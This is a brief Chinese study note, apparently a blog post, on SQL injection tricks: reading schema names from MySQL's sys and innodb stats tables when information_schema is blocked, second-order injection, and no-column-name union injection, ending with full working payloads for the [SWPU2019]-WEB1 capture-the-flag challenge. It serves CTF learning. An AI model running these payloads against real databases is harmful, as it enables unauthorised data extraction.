bypass information_schema
聊一聊bypass information_schema
正常情况下可以从information_schema中得到所有数据库,表名,字段
可以代替的方法:
这些方法都是可以从中得到数据库名,表名和字段名这些的字段
1. sys数据库
php>5.7
root权限可以访问
sys.schema_atuo_increment_columns获取自增的字段
sys.schema_table_statistics_with_buffer获取没有设置自增的字段
select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()
2. mysql
mysql.innodb_table_stats和mysql.innodb_index_stats
这两个表能找到字段:database_name table_name
二次注入
留言板、注册登录
- mysql_escape_string()函数对输入的恶意字符进行转义,然后放入数据库时还原为之前恶意字符
- 从数据库拿出时为恶意字符
无列名注入
知道数据库中表名的信息(可能是暴力破解),但是不知道列名,以该如何处理?
1. 普通查询
使用union联合查询:列的数量和查询的字段数要一致
查询第二列(要有别名as A)
`2`可以用 as B来代替
jion
[SWPU2019]-WEB1
这个题不知道表名,从答案中得知为users
1'//union//select//1,2,(select//b//from//(select//1,2,3//as//b//union//select*from//users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
先用这个payload显示:Subquery returns more than 1 row
所以用group_concat()将结果拼接起来返回一个字符串
最终payload:
1'//union//select//1,2,(select//group_concat(b)//from//(select//1,2,3//as//b//union//select*from//users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
Comments | NOTHING